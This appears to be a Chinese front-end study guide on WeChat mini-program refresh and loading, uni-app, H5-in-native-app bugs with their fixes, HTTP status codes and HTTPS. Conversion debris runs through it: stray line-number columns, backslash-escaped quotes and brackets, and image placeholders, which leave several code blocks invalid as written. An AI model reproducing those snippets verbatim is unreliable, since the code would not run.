  • 首先在全局 config 中的 window 配置 enablePullDownRefresh .

  • 在 Page 中定义 onPullDownRefresh 钩子函数。到达下拉刷新条件后,该钩子函数执行,发起请求方法。

  • 请求返回后,调用 wx.stopPullDownRefresh 停止下拉刷新。

config

config = {

pages: [

'pages/index'

],

window: {

backgroundTextStyle: 'light',

navigationBarBackgroundColor: '#ccc',

navigationBarTitleText: 'WeChat',

navigationBarTextStyle: '#000',

enablePullDownRefresh: true

}

}复制代码

page

onPullDownRefresh() {

wepy.showNavigationBarLoading()

setTimeout(()=>{

this.getData = '数据拿到了'

wepy.stopPullDownRefresh()

wepy.hideNavigationBarLoading()

this.$apply()

},3000)

}

效果如下:

mage{width="3.3256944444444443in" height="5.895138888888889in"}

你会发现下拉的过程有些僵硬。这实际上是没有添加背景色的原因,加上背景色后再试试。

mage{width="3.313888888888889in" height="5.895138888888889in"}

现在感觉好多了吧。下拉刷新有现成的配置和方法,很容易实现,可上拉加载就不同了。

# 7.14 上拉加载

首先看一下要实现的效果,这是3g端的上拉加载。小程序要实现同样的效果。

mage{width="3.8604166666666666in" height="6.895138888888889in"}

首先功能有

  • 点击回到顶部 这个很好实现,有对应的回到顶部函数

  • 滑动屏幕记录当前页数 这个也很好实现,主要是监听滚动事件,判断对应滚动条高度,去计算其与子容器的高度即可。

  • 上拉加载动画

这里有两个实现的方案。一个是 page 自带的下拉触底钩子事件 onReachBottom 能做的只是下拉到底部的时候通知你触底了,一个是 scroll-view 标签自带事件。现在用两个方法分别实现一下上拉加载。

# 7.14.1上拉触底事件 onReachBottom

模板

\<template>

\<view class=\"loading\"\>\</view>

\<view class=\"container\"

\@touchmove=\"moveFn\"

\@touchstart=\"startFn\"

\@touchend=\"endFn\"

style=\"transform:translate3d(0,{{childTop}}px,0)\"\>

\<repeat for=\"{{list}}\"

key=\"index\"

index=\"index\"

item=\"item\"\>

\<view>{{ item }}\<text>{{index}}\</text>\</view>

\</repeat>

\</view>

\</template>复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

钩子函数

data = {

getData: \'\',

top: 0,

lastTop: 0,

canDrag: false,

list: \[\]

}

onReachBottom() {

this.canDrag = true

}

methods = {

moveFn(ev) {

let nowY = ev.changedTouches\[0\].clientY

nowY = nowY-this.lastTop

if(nowY \> 0 )

this.canDrag = false

if( nowY\<=0 && this.canDrag ) {

this.top = nowY

}

if( -this.top>= this.maxTop )

this.top = -this.maxTop

},

startFn(ev) {

this.lastTop = ev.changedTouches\[0\].clientY

},

endFn() {

if(this.top \<= -this.maxTop) {

this.text = \"去请求数据了\"

setTimeout(()=>{

this.text = \"请求回来了\"

this.canDrag = false

this.list.push(\...\[\"数据\",\"数据\",\"数据\"\])

this.\$apply()

this.top = 0;

return

},1000)

}

},

gotoTop() {

wepy.pageScrollTo({

scrollTop: 0

})

}

}复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

完成后看一下效果:

# 7.14.2滚动容器实现上拉加载

scroll-view: 可滚动视图区域。

它的具体用法不赘述,看官方文档就行了。这里提解决上述问题的方法即可。

  • bindscrolltolower 类比原生全局钩子 onReachBottom

  • 模板

\<scroll-view scroll-y

id=\"content\"

\@scroll=\"scroll\"

\@scrolltolower=\"lower\"

scroll-top=\"{{gotoTopNum}}\"

lower-threshold=\"100\"

style=\"transform:translate3d(0,{{childTop}}px,0)\"\>

\<view class=\"sty-search\"

\@touchmove=\"moveContent\"

\@touchstart=\"startContent\"

\@touchend=\"endContent\"\>\...\</view>

\</scroll-view>复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

以上就是最终的模板,你可能在想为什么这么复杂。虽然复杂,但每个属性都是有用的,当然这其中有几个坑在等着我们。

首先节点分为滚动容器和子容器。

Q:为什么滚动容器里嵌套一个子容器,并且将拖动的三个方法绑定在它上面。

A:这是第一个坑,因为 scroll-view 容器不能绑定 touchmove 事件,那如果绑定了会怎么样呢?不会怎么样,事件钩子不会调用。(这个坑在官方文档查不出来,当时绑定了不调用,在社区找到了解决方法,就是将touchmove事件绑定到子容器)

再来看代码

methods = {

async lower() {

this.canDrag = true

},

scroll (ev) {

this.scrollTop = ev.detail.scrollTop

if (ev.detail.deltaY \> 0) {

this.canDrag = false

}

let nowSet = this.documentHeight+this.scrollTop-this.contentHeader

let num = Math.ceil(nowSet/this.listHeight) - 1

num = Math.floor(num / this.pageBean.pageSize) + 1

num = (num \> this.pageBean.pageNo) ? this.pageBean.pageNo : num

if(num != this.page) {

this.page = num

this.\$apply()

}

},

startContent(ev) {

this.lastTop = ev.changedTouches\[0\].clientY

if(!this.documentHeight){

this.documentHeight = wx.getSystemInfoSync().windowHeight

}

/\* 这句是解决回到顶部的bug \*/

if (this.gotoTopNum \|\| this.gotoTopNum==0) { this.gotoTopNum = undefined }

},

moveContent (ev) {

let {

pageNo,

pageSize,

totalCount

} = this.pageBean

let nowY = ev.changedTouches\[0\].clientY

nowY = nowY-this.lastTop

if (this.canDrag && nowY) {

this.state = 1;

if (nowY \<= -this.maxMove) {

nowY = -this.maxMove

}

if (nowY \<= 0) {

this.childTop = nowY

}

}

},

async endContent(ev) {

let {

pageNo,

pageSize,

totalCount

} = this.pageBean

if (this.childTop === -this.maxMove) {

/\* 状态 \*/

if (pageNo \>= this.maxPage \|\| pageNo \* pageSize \>= totalCount) {

this.state = 0

} else {

this.pageBean.pageNo++

await this.fillData()

this.childTop = 0

this.canDrag = false

this.\$apply()

}

}

/\* 如果没超过刷新高度则重置 \*/

this.childTop = 0

},

gotoTop() {

this.gotoTopNum = 0

},

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

Q: 为什么要在 touchStart 的时候 将 gotoTopNum 置为 undefined?

A: 因为这个页面有一个回到顶部的功能,当回到顶部时,gotoTopNum 置为0,再次下翻时,虽然实际的 scrollTop 改变了,但是 gotoTopNum 还为0,再次点击回到顶部时,因为数据未改变,视图层就不会去更新。所以在 touchStart 的时候给 gotoTopNum 一个无效的值,再次点击回到顶部时,视图层也就更新了。

# 7.15原生滚动 OR scroll-view

{width="5.763888888888889in" height="3.8979166666666667in"}

# 7.16 bindtap和catchtap的区别是什么

相同点:首先他们都是作为点击事件函数,就是点击时触发。在这个作用上他们是一样的,可以不做区分

不同点:他们的不同点主要是bindtap是不会阻止冒泡事件的,catchtap是阻值冒泡的

# 7.17简述下 `wx.navigateTo()`, `wx.redirectTo()`, `wx.switchTab()`, `wx.navigateBack()`, `wx.reLaunch()`的区别

  • wx.navigateTo():保留当前页面,跳转到应用内的某个页面。但是不能跳到 tabbar 页面

  • wx.redirectTo():关闭当前页面,跳转到应用内的某个页面。但是不允许跳转到 tabbar 页面

  • wx.switchTab():跳转到 abBar 页面,并关闭其他所有非 tabBar 页面

  • wx.navigateBack()关闭当前页面,返回上一页面或多级页面。可通过 getCurrentPages() 获取当前的页面栈,决定需要返回几层

  • wx.reLaunch():关闭所有页面,打开到应用内的某个页面

# 第8章 Uniapp

# 8.1 简介

uni-app 是一个使用 Vue.js开发所有前端应用的框架,开发者编写一套代码,可发布到iOS、Android、H5、以及各种小程序(微信/支付宝/百度/头条/QQ/钉钉/淘宝)、快应用等多个平台。

# 8.2 创建第一个 uni-app项目

  1. 开发者需先下载安装 HBuilderX

  2. 下载地址: https://www.dcloud.io/hbuilderx.html (opens new window)

  3. 在HBuilderX 点击工具栏里的文件 - >新建 - >项目:

    {width="5.761805555555555in" height="3.25625in"}

    3.选择uni-app,输入工程名,如:test,点击创建,即可成功创建uni-app

# 第9章 H5嵌入原生IOS、安卓

# H5嵌入原生开发小结----兼容安卓与ios的填坑之路

主要分UI展示,键盘,输入框等等。解决bug最苦恼的问题不是没有解决方案,而是你没有找到真正的原因。再就是现象难以重现,每次都要发布代码,然后到手机app中去测试,模拟。这些地方会耗费大量的精力。

# 9.1 UI相关

# 9.1.1.安卓4.4以下不支持fixed布局。

fixed布局的作用之一就是在手机键盘弹起来的时候,可以自动把页面顶起来。如果不支持的话,换绝对定位也是可以的。但是绝对定位某些机型比如sm-n7508,华为m7上还是没有能顶起来。IOS没有这个问题。

# 9.1.2.小于1px显示问题

部分安卓机器(比如小米)的分辨率低,如果border的宽度小于1px。安卓机出现一种边框消失了的现象。样式上有点奇怪,IOS没有这个问题。

https://images2015.cnblogs.com/blog/417688/201611/417688-20161118121400795-1226642958.png{width="2.35625in" height="0.5743055555555555in"}

一开始以为是别的元素挡住了,但是调了半天无解。最后突然意识到是不是计算出来的高度有小数导致的。然后马上取整:

$target.css("height", Math.ceil(maxline * lineHeight));

但是,华为的某些类型的是上面显示不正常,出来一排点点。

https://images2015.cnblogs.com/blog/417688/201611/417688-20161118121619498-1653520572.png{width="2.9402777777777778in" height="0.5145833333333333in"}

再修正一下:

$target.css("height", Math.ceil(maxline * lineHeight) - 1);

或者用floor。你好奇为什么会有小数高度呢,因为这个功能设计一个折叠,需要重新计算dom的高度。

# 9.2 键盘相关

# 9.2.1.ios键盘挡住输入框。

这个发生的频率很高,中文输入法或者输入法切换的时候会遮挡。

https://images2015.cnblogs.com/blog/417688/201611/417688-20161118133000982-1243302435.png{width="4.772222222222222in" height="4.623611111111111in"}

解决的办法如下:

setInterval(function () {

if (document.activeElement.className.indexOf('inputcontent') >= 0) {

document.activeElement.scrollIntoViewIfNeeded(); }

}, 300);

这是最管用的办法,inputcontent为输入框的样式。activeElement表示获得焦点的元素。但是这个方法只在app中有用,如果是在浏览器中还是会失效。

# 9.2.2.键盘收下留下空白阴影。

这个在部分安卓机上比较明显,当键盘在激活状态,突然来一个模态弹框,很明显的看到键盘收下去之后出现了一个短暂(不到1秒的样子)的空白,然后页面再收下去,让人感觉闪了下。比如华为P7。但是ios上没有关系,这个问题没招,系统不流畅。

# 9.2.3.无法保持键盘在弹出状态。

web其实无法直接控制键盘,只有通过让输入框获focus来让手机的键盘弹出来,但是三星SM-N8507v 这款就是不听话。我也无解了。

# 9.2.4.确保弹出来的是数字键盘

<input type="number" pattern="[0-9]*" />

<input type="password" pattern="[0-9]*" />

只有number或者tel还是不够,只有加入正则,ios才会出现九宫格。

# 9.3 输入框相关

# 9.3.1. fastClick 锁住输入框。

在ios中,会出现几秒的输入框没有反应,开始也怎么想不明白,各种尝试,推测,搜索发现原来是使用的轻框架中用到了fastClik引起的,解决的办法就是加上一个样式。

<div id="content" class="inputcontent needsclick" ></div>

解决方法到是简单,但是当初为找到这个原因,费了好大劲,把框架的模块一个一个删,最后才定位到。如果不加这个,不单会锁住输入框,每次调用focus都会设置光标跑在最前面,无法移动到后面。这个体验很糟糕。

# 9.3.2.模拟placeholder。

div作为输入框,本身加入placeholder是无效的。得借助于伪元素。

<div id="content" class="inputcontent needsclick" placeholder="有问题就尽管提问吧" contenteditable="true"></div>

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

.tools .inputcontent:after {

display: inline-block;

width: 100%;

color: #999;

content: attr(placeholder);

}

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

然后在获得焦点和失去焦点的时候对这个属性进行移除和添加操作。这样做的好处在于,分离用户输入的内容,如果把placeholder的值直接在写输入框中这样会多一些判断,让代码不太干净。

# 9.3.3.div的换行是div

在div中触发换行,会得到一个div。这个就相当于是在编辑器中。而不是我们认为的<br>或者换行符。

https://images2015.cnblogs.com/blog/417688/201611/417688-20161118141350795-143164223.jpg{width="3.9305555555555554in" height="3.9604166666666667in"}

所以,需要对div进行过滤替换。

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

var replace = /<div.*?>(.*?)<\/div>/g;

txt = txt.replace(replace, function(a) {

if (a != "<br>") {

return "<br>" + delHtmlTag(a);

}

return delHtmlTag(a);}

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

# 9.3.4.粘贴莫名奇妙带了样式

在输入框中粘贴会以这样的形式出现:

<font style='font-size:30px;color:#999'><span>粘贴内容</span></font>

不清楚是系统还是app定义的。所以也得过滤。 用户还可以粘贴其他文章,容易搞乱输入框中的样式,需要加上:

.tools .inputcontent *{font-size: 0.50rem !important; color: #000 !important;line-height: 22px !important;font-weight: normal !important;}

因为如果从粘贴事件里面处理的话,容易搞乱焦点,让焦点在最前面。这样很不爽。所以还是样式控制,在发送的时候过滤掉所有的标签。

# 9.3.5.超出遮挡/换行遮挡

这是一个神奇的bug,当内容超过div的最大高度后,最后一行出现一个神奇的现象,头两个字显示了,后面的内容不见了(快快后面其实有内容),直到下一次换行才会出现。

https://images2015.cnblogs.com/blog/417688/201611/417688-20161118144335857-364468933.png{width="3.3069444444444445in" height="1.5048611111111112in"}

我alert里面的内容,发现并没有其他的元素,我不断的尝试,发现div overflow: hidden;的时候字都会显示出来,但是为了让用户能够在内容框里面上下滚动。我得让y轴是可以滚动的:overflow-y: auto; 所以应该是滚动条引起的。但我确实不知道如何修改。后来试出一个hack的方法。只要有一个换行就不会出现这种情况。所以,我就在用户输入到特定行的时候就塞进一个1px的换行:

if ($("#content").height() == 88 && isIOS() && !haveAppendBr) {

$("#content").append("<div style='height:1px;border-top:1px solid #fff' ><br></div>");

haveAppendBr = true;

}

当然这不是正规的解决办法,如果园友有遇到相似的剧情,可以赐教一下。

# 9.3.6.安卓第一次不能换行

这个现象是消息发送成功之后,用户(小米)一来就是点换行,却无法换行,我怀疑是安卓系统阻止了这样的行为。但是在输入一个字之后,换行就是正常的了(哪怕再删掉这个字)。ios里面没有这个问题。开始我尝试去人为加一个换行,又发现焦点没了。想想这样问题不改也罢。

# 9.3.7.输入框光标闪动

这个是translate3d属性引起,修改sm框架中的一段代码设置useTranslate为false。位于handleTouchMove方法中。

# 9.4 图片相关

# 9.4.1.安卓不能上传。

安卓很多时候都不能触发input type='file'的弹框,上传就得走原生的帮助。原生拦截到链接后就会弹出图片选择框。

window.location = 'xxapp:h5Upload({"openType":2,"needChop":false,"uploadUrl": '+fileUploadUrl+',"key":' + totalFiles + ',"callbackMethodName": "uploadComplete"})';

key是为了记住是第几张图片,便于在原生上传结束之后把地址和key一起传到uploadComplete方法中。这样界面上才可以做相应的修改。但这不是我说的重点。重点是Url不要带中文啊或者特殊符号之类的。一方面很多手机里面的图片命名很奇怪,一大堆,像在uc上面保存下来的图片后面跟了几个类型。这种名称没啥用,非常建议服务器端像微信一样处理上传图片,成功之后得到一个唯一的字符串就行。不然有的系统会自动解码你得区分的用上了encodeURI或者encodeURIComponent。测试妹子会说这个手机可以,那个不可以,然后是苦了前端。

# 9.4.2.图片转了90度。

安卓部分机型(小米2A,三星N7,三星G9)对于拍照的图片上传之后居然左转了90度。

https://images2015.cnblogs.com/blog/417688/201611/417688-20161118155837920-1136078700.png{width="2.0597222222222222in" height="1.5541666666666667in"}(非原图)

我把照片发出来之后,放在桌面上也是歪的,拍摄的图片本身会带有一个exifdata,这个对象里面包含了拍摄的时间、方向、曝光时间等一些信息。用[exif.js]{.ul}可以看出来。也有[网站]{.ul}可以直接查看。

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

function getdata(id) {

EXIF.getData(document.getElementById(id), function () {

var data = EXIF.getTag(this, 'Orientation');

console.log(data);

});

}

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

思路就是通过这个方向来判断是否给图片来个再旋转。

this.style.transform = 'rotate(' + current + 'deg)';

实际没有使用exif.js,因为exif还需要再请求一次,而且这个图片有验证,居然还读不到方向信息。最后让后端对上传图片进行方向旋转纠正。我自己实现了一个。

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

public static Bitmap RotateImage(Stream sm)

{

Image img = Image.FromStream(sm);

var exif = img.PropertyItems;

byte orien = 0;

var item = exif.Where(m => m.Id == 274).ToArray();

if (item.Length \> 0)

orien = item\[0\].Value\[0\];

switch (orien)

{

case 2:

img.RotateFlip(RotateFlipType.RotateNoneFlipX);//horizontal flip

break;

case 3:

img.RotateFlip(RotateFlipType.Rotate180FlipNone);//right-top

break;

case 4:

img.RotateFlip(RotateFlipType.RotateNoneFlipY);//vertical flip

break;

case 5:

img.RotateFlip(RotateFlipType.Rotate90FlipX);

break;

case 6:

img.RotateFlip(RotateFlipType.Rotate90FlipNone);//right-top

break;

case 7:

img.RotateFlip(RotateFlipType.Rotate270FlipX);

break;

case 8:

img.RotateFlip(RotateFlipType.Rotate270FlipNone);//left-bottom

break;

default:

break;

}

return (Bitmap)img;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

[HttpPost]

public ActionResult UploadImg(HttpPostedFileBase file, string dir = \"UserImg\")

{

if (CheckImg(file) != \"ok\") return Json(new { Success = false, Message = \"文件格式不对!\" }, JsonRequestBehavior.AllowGet);

if (file != null)

{

var path = \"\~/Content/UploadFiles/\" + dir + \"/\";

var uploadpath = Server.MapPath(path);

if (!Directory.Exists(uploadpath))

{

Directory.CreateDirectory(uploadpath);

}

string fileName = Path.GetFileName(file.FileName);// 原始文件名称

string fileExtension = Path.GetExtension(fileName); // 文件扩展名

//string saveName = Guid.NewGuid() + fileExtension; // 保存文件名称 这是个好方法。

string saveName = Encrypt.GenerateOrderNumber() + fileExtension; // 保存文件名称 这是个好方法。

var saveUrl = uploadpath + saveName;

// file.SaveAs(saveUrl);

System.Drawing.Image image = ImageManageHelper.RotateImage(file.InputStream);

image.Save(saveUrl);

if (file.ContentLength / 1024 \> 500)//大于0.5M

{

var \_saveName = Encrypt.GenerateOrderNumber() + \"\_thumbnailUrl\" + fileExtension;

var thumbnailUrl = uploadpath + \_saveName;

var maxh = 400;

var maxw = 400;

if (image.Width>maxw)

{

maxh = 400\*image.Height/image.Width;

}

ImageManageHelper.GetPicThumbnail(saveUrl, thumbnailUrl, maxh, maxw, 90);

return Json(new { Success = true, SaveName = \"/Content/UploadFiles/Mobile/\" +\_saveName });

}

return Json(new { Success = true, SaveName = \"/Content/UploadFiles/Mobile/\" + saveName });

}

return Json(new { Success = false, Message = \"请选择要上传的文件!\" }, JsonRequestBehavior.AllowGet);

}

![制代码](media/image182.GIF){width="0.2076388888888889in" height="0.2076388888888889in"}

 ```

#### 9.4.3.图片半截

 这个问题在安卓上面会有,不是加载的问题。正确的效果图片应该是垂直居中的。但不知道为什么偶尔的会只出来个半截。而且我发现,给图片设置百分比,手机和pc不一样,手机图片的百分比并不是相对于其父类元素,而是它自己。

 ![https://images2015.cnblogs.com/blog/417688/201611/417688-20161118162250748-1009476036.png](media/image186.png){width="3.435416666666667in" height="5.574305555555555in"}

所以图片的宽度会超出其父类,即使\<div>\<img>\</div>的宽度都是100%。overflow:hidden吧,图片可能显示不全。超出的部分会导致用户可以在图片上面左右滑动,这在ios中有个搞笑的现象,就是对弹出的图片不断的左右滑动,再恢复后居然能让原先绑定的点击事件失效,不确定是框架的原因还是系统的原因。当时是用一个模态框改造的。最后干脆自己再写一个:

![制代码](media/image182.GIF){width="0.2076388888888889in" height="0.2076388888888889in"}
```javascript
Client.modalImg = function (src) {

if (!src) return;

if (\$(\".img-overlay\").length) {

\$(\".img-overlay\").remove();

};

var modal = \'\<div class=\"img-overlay\"\> \<div class=\"imgheader\"\>\</div> \<div class=\"imgbox\"\>\<img onload=\"reCalcuImg();\" src=\"\' + src + \'\" />\</div>\';

\$(\"body\").append(modal);

};

//校准位置

function reCalcuImg() {

var headerH = \$(\".imgheader\").height();

var boxH = \$(\".imgbox\").height();

var imgH = \$(\".imgbox img\").height();

var realMaxH = boxH - headerH;

// console.log(\"headerH\", headerH, \"boxH\", boxH, \"imgH\", imgH, \"realMaxH\", realMaxH);

if (imgH \> realMaxH) {

\$(\".imgbox img\").css(\"height\", realMaxH + \"px\");

console.log(\"大于最大高度,realMaxH\", realMaxH);

} else {

var gap = (realMaxH - imgH) / 2;

// console.log(\"小于最大高度,margintop\",(realMaxH - imgH), gap);

\$(\".imgbox img\").css(\"margin-top\", gap + \"px\");

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

写在onload事件结束后是确保图片已经加载完成。这样才能计算,如果直接在modalimg中计算,图片的高度可能为0。然后如果图片的高度大于最大高度则设置为最大高度,否则的话在进行margin,让其垂直居中。

现在使用的是photoSwipe插件。需要结合图片的onload事件先存下图片的原始宽高。

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

//图片加载完成后调用

function imgloading(img,srcoll) {

console.log(\"imgloading\", img.height);

var cached = {

height: img.naturalHeight,

width: img.naturalWidth,

src: img.src

};

imClient.imgCache\[img.src\] = cached;

srcoll&&imClient.scroll();

}

![制代码](media/image182.GIF){width="0.2076388888888889in" height="0.2076388888888889in"}

获取原始宽高是为了显示时候的比例自然:

![制代码](media/image182.GIF){width="0.2076388888888889in" height="0.2076388888888889in"}

//图片放大

imClient.imgCache = {};

var ispop = false;

function getaimg(src) {

if (ispop) return;

function loadaction(w,h) {

imClient.debugSay(\"图片加载:w\" + w + \" h:\" + h);

loadimg(src, w, h);

ispop = false;

}

var cached = imClient.imgCache\[src\];

if (cached) {

ispop = true;

loadaction(cached.height, cached.width);

return;

}

console.log(\"未加载\");

}

\$(document).on(\"click\", \".bubbleimgright img,.bubbleimgleft img\", function (e) {

if (\$(this).hasClass(\"msgfailimg\")) return;

var url = \$(this).attr(\"src\");//就放大缩略图

getaimg(url);

});

function loadimg(url, hei, width) {

var pswpElement = document.querySelectorAll(\'.pswp\')\[0\];

var maxH = \$(\"#historylist\").height();

var maxW = \$(\"#historylist\").width();

var fH = 400;

var fW = 400;

//如果都比默认的小

if (hei \<= maxH && width \<= maxW) {

fH = hei;

fW = width;

}

if (hei \> maxH && width \< maxW) {

fH = maxH;

fW = Math.ceil((maxH \* width) / hei);

}

if (width \> maxW) {

fW = maxW;

fH = Math.ceil((maxW \* hei) / width);

}

// build items array

var items = \[

{

src: url,

w: fW,

h: fH

}

\];

// define options (if needed)

var options = {

index: 0 // start at first slide

};

var gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, options);

gallery.init();

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

# 9.5 消息

# 9.5.1.websocket是脆弱但又顽强的。

websocket很容易受到网络的影响而中断,但网络一恢复能自动重连。而手机会有切到后台运行的这种情况,比如小米系统会在手机黑屏之后把网络断掉,用户进入应用的时候,你得有重连的机制,确保消息没有遗漏。

socket.on(\"reconnect\", function () {

isConneted = true;

eventManger.trigger(\"reconnect\");

listenChannel();

});
1
2
3
4
5
6
7
8
9

在listenChannel中通过 socket.emit 告之node后端重连了,拿消息的姿势调整下。

but红米手机有一款socketio老是重连,所以手机上也要准备轮询的机制。重连三次关掉socket,直接轮询。

# 9.5.2.消息先发后到。

先发的消息后到,这是很有可能的,但是用户就会奇怪。比如一条长消息分成几次发,前端可以在前一条发完了再发第二条。

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

var limit = 1000;

function loop(i) {

if (i \< num) {

send(content.substr(i \* limit, limit), function () {

i++;

loop(i);

});

}

};

loop(0);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

制代码{width="0.2076388888888889in" height="0.2076388888888889in"}

# 9.6 关于前端

前端是个什么样的职位,会JavaScript,node,熟悉mvvm,html5特性就ok了吗,其实技能只占到一部分。前端相当于是个连接者,产品经理的想法,美工的设计,后端程序员的接口实现,客户的期待,测试妹妹的重点,领导巡视的对象,大部分都汇集在前端完成的页面上,所以沟通,理解能力比较重要。产品经理和测试也会容易太专注于界面效果而忽略整个系统的分配合作。有时候看到界面或者流程不对,可能是后端的问题,你得去推。就像看见一人面有难色,其实体内已经有病了,所以你得会表达,表达问题在哪,或者表达需要怎样的协助;而在面对bug的时候要清楚哪些是功能性的bug,哪些是体验性的bug,基本功能必须保障正确,体验性的问题凡是影响基本功能的使用的都是严重的体验性bug,但bug总是有的,不太可能做到所有机型都一样。这里面还有时间成本,你解决一个不太重要的bug可能会花上很长的时间;再就是分析思考,各种不正常现象如何找到原因,除了依赖于经验你要坚信所有妖魔鬼怪都是有出处的,每个界面都可能有自己的差异性,不正常的现象重现的条件是什么,有哪些相关因素,然后顺藤摸瓜;再就是代码能力,尽量保证模块的独立和职责的单一,这个方面细节很多,是每个程序员需要注意的地方。

# 第10章 网络相关

# 10.1 常见的http状态码

http状态码分类:

100-199 提示信息 -- 表示请求正在处理

200-299 成功 -- 表示请求正常处理完毕

300-399 重定向 -- 要完成请求必须进行更进一步的处理

400-499 客户端错误 -- 请求有语法错误或请求无法实现

500-599 服务器端错误 -- 服务器处理请求出错

常见的状态码有哪些?

① 200:请求成功,浏览器会把响应体内容(通常是html)显示在浏览器中;

② 404:(客户端问题)请求的资源没有找到 400: 语义有误,当前请求无法被服务器理解。401: 当前请求需要用户验证 403: 服务器已经理解请求,但是拒绝执行它。

③ 500:(服务端问题)请求资源找到了,但服务器内部发生了不可预期的错误;

④ 301/302/303:(网站搬家了,跳转)重定向

⑤ 304: Not Modified,代表上次的文档已经被缓存了,还可以继续使用。如果你不想使用本地缓存可以用Ctrl+F5 强制刷新页面

注意:状态码与实际情况不一致的情形

不少返回的状态码都是错误的,但是用户可能察觉不到这点,比如web应用程序发送内部错误,状态码依然返回200 OK ,这种请求也会发生的。

# 10.2 http和https的区别

Http:

超文本传输协议(Http,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。设计Http最初的目的是为了提供一种发布和接收HTML页面的方法。它可以使浏览器更加高效。Http协议是以明文方式发送信息的,如果黑客截取了Web浏览器和服务器之间的传输报文,就可以直接获得其中的信息。

Https:

是以安全为目标的Http通道,是Http的安全版。Https的安全基础是SSL。SSL协议位于TCP/IP协议与各种应用层协议之间,为数据通讯提供安全支持。SSL协议可分为两层:SSL记录协议(SSL Record Protocol),它建立在可靠的传输协议(如TCP)之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL握手协议(SSL Handshake Protocol),它建立在SSL记录协议之上,用于在实际的数据传输开始前,通讯双方进行身份认证、协商加密算法、交换加密密钥等。

HTTP与HTTPS的区别:

1、HTTP是超文本传输协议,信息是明文传输,HTTPS是具有安全性的SSL加密传输协议。

2、HTTPS协议需要ca申请证书,一般免费证书少,因而需要一定费用。

3、HTTP和HTTPS使用的是完全不同的连接方式,用的端口也不一样。前者是80,后者是443。

4、HTTP连接是无状态的,HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,安全性高于HTTP协议。

https的优点:

尽管HTTPS并非绝对安全,掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击,但HTTPS仍是现行架构下最安全的解决方案,主要有以下几个好处:

1、使用HTTPS协议可认证用户和服务器,确保数据发送到正确的客户机和服务器;

2、HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全,可防止数据在传输过程中不被窃取、改变,确保数据的完整性。

3、HTTPS是现行架构下最安全的解决方案,虽然不是绝对安全,但它大幅增加了中间人攻击的成本。

4、谷歌曾在2014年8月份调整搜索引擎算法,并称"比起同等HTTP网站,采用HTTPS加密的网站在搜索结果中的排名将会更高"。

Https的缺点:

1、Https协议握手阶段比较费时,会使页面的加载时间延长近。

2、Https连接缓存不如Http高效,会增加数据开销,甚至已有的安全措施也会因此而受到影响;

3、SSL证书通常需要绑定IP,不能在同一IP上绑定多个域名,IPv4资源不可能支撑这个消耗。

4、Https协议的加密范围也比较有限。最关键的,SSL证书的信用链体系并不安全,特别是在某些国家可以控制CA根证书的情况下,中间人攻击一样可行。

# 10.3 浏览器从输入url到页面加载完成发生了什么?

